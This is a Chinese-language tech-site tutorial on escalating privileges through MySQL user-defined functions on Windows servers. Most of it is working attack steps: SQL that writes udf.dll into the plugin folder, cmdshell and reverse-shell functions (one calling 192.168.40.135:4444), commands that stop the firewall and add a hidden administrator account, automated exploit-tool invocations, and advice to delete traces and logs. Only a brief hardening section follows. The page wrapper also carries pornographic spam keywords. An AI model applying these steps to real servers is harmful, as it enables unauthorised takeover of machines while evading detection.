成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

原創(chuàng)
安全 數(shù)據(jù)安全 應(yīng)用安全
在本文中,筆者通過一個實例來介紹利用利用UDF實現(xiàn)MySQL提權(quán)的方法。據(jù)筆者闡釋,UDF提權(quán)是利用MySQL的自定義函數(shù)功能,將MySQL賬號轉(zhuǎn)化為系統(tǒng)system權(quán)限,其利用條件是目標系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MySQL的某個用戶賬號,此賬號必須有對MySQL的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù);有root賬號密碼。

【51CTO.com原創(chuàng)稿件】UDF提權(quán)是利用MySQL的自定義函數(shù)功能,將MySQL賬號轉(zhuǎn)化為系統(tǒng)system權(quán)限,其利用條件是目標系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MySQL的某個用戶賬號,此賬號必須有對MySQL的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù);有root賬號密碼。網(wǎng)上有很多公開的利用程序,下面通過一個實例來介紹MySQL數(shù)據(jù)庫如何利用Udf進行提權(quán)。

注:本文是筆者撰寫的Mysql安全系列文章的第三篇。

第一篇為《關(guān)系型數(shù)據(jù)庫管理系統(tǒng)MySQL提權(quán)基礎(chǔ)》;

第二篇為《MySQL數(shù)據(jù)庫反彈端口連接提權(quán)》。

一、UDF函數(shù)簡介

1.UDF介紹

UDF(user-defined function)是MySQL的一個拓展接口,也可稱之為用戶自定義函數(shù),它是用來拓展MySQL的技術(shù)手段,可以說是數(shù)據(jù)庫功能的一種擴展,用戶通過自定義函數(shù)來實現(xiàn)在MySQL中無法方便實現(xiàn)的功能,其添加的新函數(shù)都可以在SQL語句中調(diào)用,就像本機函數(shù)如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數(shù)定義請參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權(quán)外,其實Udf還有更多更廣泛的應(yīng)用,例如https://github.com/mysqludf/repositories,就提供了非常多的應(yīng)用:

lib_mysqludf_fPROJ4:一組擴展的科學(xué)函數(shù),將地理經(jīng)度和緯度坐標轉(zhuǎn)換為笛卡爾坐標,反之亦然。

lib_mysqludf_json:用于將關(guān)系數(shù)據(jù)映射到JSON格式的函數(shù)的UDF庫。

lib_mysqludf_log:用于將調(diào)試信息寫入日志文件的UDF庫。

lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達式

lib_mysqludf_stat:用于統(tǒng)計分析的UDF庫。

lib_mysqludf_str:一個帶有MySQL附加字符串函數(shù)的UDF庫

lib_mysqludf_sys:具有與操作系統(tǒng)交互的功能的UDF庫。這些函數(shù)允許您與MySQL運行的執(zhí)行環(huán)境進行交互。

lib_mysqludf_xml:一個UDF庫,用于直接從MySQL創(chuàng)建XML輸出。

有三種方法向MySQL添加新函數(shù)。

(1)可以通過用戶定義的函數(shù)(UDF)接口添加函數(shù)。用戶定義的函數(shù)被編譯為庫文件,然后使用CREATE FUNCTION和DROP FUNCTION語句動態(tài)添加到服務(wù)器或從服務(wù)器中刪除。

(2)可以將函數(shù)添加為本機(內(nèi)置)MySQL函數(shù)。本機函數(shù)被編譯到 mysqld服務(wù)器并永久可用。

(3)添加函數(shù)的另一種方法是創(chuàng)建存儲的函數(shù)。這些是使用SQL語句編寫的,而不是通過編譯目標代碼。

二、Windows下UDF提權(quán)的條件和方法

Windows下UDF提權(quán)對于Windows2008以下服務(wù)器比較適用,也即針對Windows2000、Windows2003的成功率較高。

1. UDF提權(quán)條件

(1)Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql數(shù)據(jù)庫的賬號有對mysql的insert和delete權(quán)限以創(chuàng)建和拋棄函數(shù),一般以root賬號為佳,具備root賬號所具備的權(quán)限的其它賬號也可以。

(4)可以將udf.dll寫入到相應(yīng)目錄的權(quán)限。

2.提權(quán)方法

(1)獲取數(shù)據(jù)庫版本、數(shù)據(jù)位置以及插件位置等信息

  1. select version();//獲取數(shù)據(jù)庫版本 
  2. select user();//獲取數(shù)據(jù)庫用戶 
  3. select @@basedir ;//獲取安裝目錄 
  4. show variables like '%plugins%'; //尋找mysql安裝路徑 

(2)導(dǎo)出路徑

  1. C:\Winnt\udf.dll Windows 2000 
  2. C:\Windows\udf.dll Windows2003(有的系統(tǒng)被轉(zhuǎn)義,需要改為C:Windowsudf.dll) 

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創(chuàng)建自定義函數(shù)。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創(chuàng)建libplugin文件夾,然后將udf.dll文件導(dǎo)出到該目錄即可。

在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導(dǎo)出到lib\plugin目錄下才可以,網(wǎng)上大牛發(fā)現(xiàn)利用NTFS ADS流來創(chuàng)建文件夾的方法:

  1. select @@basedir; //查找到mysql的目錄 
  2.  
  3. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創(chuàng)建lib目錄 
  4.  
  5. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄 

執(zhí)行成功以后就會plugin目錄,然后再進行導(dǎo)出udf.dll即可。

(3)創(chuàng)建cmdshell 函數(shù),該函數(shù)叫什么名字在后續(xù)中則使用該函數(shù)進行查詢:

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

(4)執(zhí)行命令:

  1. select sys_eval(‘whoami’); 

一般情況下不會出現(xiàn)創(chuàng)建不成功哦。

連不上3389可以先停止windows防火墻和篩選

  1. select sys_eval(‘net stop policyagent’); 
  2. select sys_eval(‘net stop sharedaccess’); 

udf.dll下常見函數(shù):

cmdshell 執(zhí)行cmd;

downloader 下載者,到網(wǎng)上下載指定文件并保存到指定目錄;

open3389 通用開3389終端服務(wù),可指定端口(不改端口無需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統(tǒng)進程;

KillProcess 終止指定進程;

regread 讀注冊表;

regwrite 寫注冊表;

shut 關(guān)機,注銷,重啟;

about 說明與幫助函數(shù);

具體用戶示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

(5)清除痕跡

  1. drop function cmdshell;// 將函數(shù)刪除 

刪除udf.dll文件以及其它相關(guān)入侵文件及日志。

(6)常見錯誤

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
  2.  
  3. SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中注銷 (使用#號) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項去掉。

三、一個提權(quán)實例

1.設(shè)置Mysql提權(quán)腳本文件

將Mysql提權(quán)腳本文件上傳到服務(wù)器上,運行后,需要對IP地址、UID、passwod、db進行配置,如圖1所示,IP地址一般可以設(shè)置為localhost、127.0.0.1以及真實IP地址,uid默認為root,其它具有root用戶權(quán)限的用戶名稱也可以,pwd為具有root權(quán)限用戶的密碼,db默認選擇mysql,單擊提交查詢內(nèi)容進行連接測試。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

設(shè)置Mysql提交腳本文件

2.進行連接測試

連接成功后,會給出相應(yīng)的提示信息,如圖2所示,給出用戶,數(shù)據(jù)庫,數(shù)據(jù)目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數(shù)等信息。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

連接測試

3.創(chuàng)建“shell”函數(shù)

單擊“Dump UDF” 將UDF.DLL文件導(dǎo)出到默認的插件目錄下,然后再運行“Create Function”將創(chuàng)建“shell”函數(shù)。如圖3所示,如果前面已經(jīng)創(chuàng)建過shell函數(shù),則會提示系統(tǒng)中已經(jīng)存在“shell”函數(shù) 。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

創(chuàng)建“shell”函數(shù)

4.查看用戶

在查詢窗口中輸入“select shell('cmd','net user')”查看系統(tǒng)所有的用戶,如圖4所示,可以正常查看系統(tǒng)的所有用戶信息。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

查看用戶

5.創(chuàng)建具有管理員權(quán)限的用戶

分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并執(zhí)行該查詢命令,如果執(zhí)行成功,則表示在系統(tǒng)中添加“temp”用戶,密碼為“temp123456”,同時將該用戶添加到管理員組中,使其具備管理員權(quán)限,執(zhí)行成功后如圖5,圖6所示。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

添加temp用戶

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

將用戶temp添加到管理員組

6.提權(quán)成功

在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功,如圖7所示,查詢結(jié)果表明已經(jīng)將temp用戶添加到管理員組中。

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

查看管理員用戶

目前對于一些網(wǎng)站來說,一般都會提供遠程終端服務(wù),只要用戶添加成功,則可以直接登錄該服務(wù)器,如圖8所示,輸入用戶名和密碼,成功進入該服務(wù)器,至此通過mysql的root用戶成功提權(quán)。

圖8成功進入服務(wù)器

四、其它提權(quán)工具

v5est0r 寫了一個Mysql提權(quán)綜合利用工具,詳細情況請參考其代碼共享網(wǎng)站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

1.自動導(dǎo)出你的backdoor和mof文件

2.自動判斷mysql版本,根據(jù)版本不同導(dǎo)出UDF的DLL到不同目錄,UDF提權(quán)

3.導(dǎo)出LPK.dll文件,劫持系統(tǒng)目錄提權(quán)

4.寫啟動項提權(quán)

UdF自動提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK劫持提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動項提權(quán):

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權(quán),如圖9所示。

  1. LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 

實例解析:MySQL數(shù)據(jù)庫擴展接口UDF提權(quán)

查看mysql數(shù)據(jù)庫配置文件內(nèi)容

五、UDF提權(quán)總結(jié)與防范

目前安裝的Mysql數(shù)據(jù)庫版本基本是高于5.1版本,通過Mysql查詢可以導(dǎo)出udf.dll但由于mysql中my.ini文件的配置,有可能會導(dǎo)致無法創(chuàng)建自定義函數(shù)。這時候就需要修改my.ini進行重啟。

1.提權(quán)總結(jié)

(1)有webshell的提權(quán)

如果獲取了webshell則比較簡單,目前有很多Mysql提權(quán)的PHP腳本,可以比較快速的進行提權(quán),在此不贅述。

(2)無webshell的提權(quán)

  1. select version(); //獲取mysql版本 
  2.  
  3. select @@basedir; //查找到mysql的目錄 
  4.  
  5. SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置 

通過查詢將udf.dll轉(zhuǎn)成代碼插入數(shù)據(jù)庫,然后導(dǎo)出

  1. use mysql; 
  2.  
  3. set @a=concat('',0x代碼); 
  4.  
  5. create table Ghost(data LONGBLOB); 
  6.  
  7. insert into Ghost values("");update Ghost set data = @a; 
  8.  
  9. 代碼為select hex(load_file('c:/udf.dll'))中的內(nèi)容 
  10.  
  11. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導(dǎo)出ufd.dll 
  12.  
  13. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創(chuàng)建函數(shù) 
  14.  
  15. select backshell("192.168.40.135",4444); 

(3)使用Python_FuckMySQL工具進行自動提權(quán)

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 
  2.  
  3. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 
  4.  
  5. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

2.安全防范方法

(1)盡量避免提供對外鏈接,通過mysql中的user表進行查看,禁用“%”。

(2)設(shè)置復(fù)雜的Root賬號密碼。

(3)對my.ini設(shè)置只讀屬性,設(shè)置plugin目錄為只讀目錄。

【51CTO原創(chuàng)稿件,合作站點轉(zhuǎn)載請注明原文作者和出處為51CTO.com】

責(zé)任編輯:藍雨淚 來源: 51CTO.com
相關(guān)推薦

2017-02-28 09:34:21

2017-02-16 10:00:46

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫安全

2015-03-13 10:06:55

2010-04-06 11:30:09

Oracle 數(shù)據(jù)庫

2023-07-24 09:00:00

數(shù)據(jù)庫

2011-03-07 11:36:23

FileZillaSe

2011-07-05 10:16:16

Qt 數(shù)據(jù)庫 SQLite

2010-06-09 17:36:45

MySQL數(shù)據(jù)庫同步

2011-07-05 16:08:10

2011-07-12 16:41:14

mysql處理異常

2019-10-12 16:15:13

MySQL數(shù)據(jù)庫多實例

2010-05-12 18:41:34

MySQL數(shù)據(jù)庫

2011-08-22 14:00:13

SQL Server 游標調(diào)用函數(shù)

2011-07-01 10:55:25

Qt 登陸窗口 界面

2011-08-22 09:55:30

SQL Server 排序

2011-03-25 09:37:17

2011-07-05 18:04:45

QT Mysql

2009-12-31 11:10:01

2010-06-02 11:34:23

MySQL 數(shù)據(jù)庫導(dǎo)入
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 亚洲三级av | 国产精品污www一区二区三区 | 日韩在线观看网站 | 狠狠躁躁夜夜躁波多野结依 | 日韩成人免费中文字幕 | 日韩精品一区二区不卡 | 毛片免费在线 | 欧美国产一区二区 | 一区二区三区在线免费 | 日韩视频91 | 操人网站 | www.久| 久久精品视频亚洲 | 久久久国产精品 | 自拍在线| 国产精品日韩高清伦字幕搜索 | 久久久久久亚洲 | 欧美一区在线视频 | 麻豆久久久久 | 午夜爱爱毛片xxxx视频免费看 | 国产成人午夜高潮毛片 | 精品久久久久久久久久久下田 | 中文字幕一区在线观看视频 | av永久| 亚洲一区 中文字幕 | 97精品超碰一区二区三区 | 在线免费观看黄a | 亚洲有码转帖 | 国产视频久久久 | 九色网址| 日本成人三级电影 | 亚洲每日更新 | 精品在线一区 | 中文字幕一区二区三区四区 | 久久久久久久久久久久一区二区 | 青青操av | 国产精品久久久久久久久免费高清 | 日批免费看| 宅男噜噜噜66一区二区 | 国产欧美日韩一区二区三区 | 就操在线|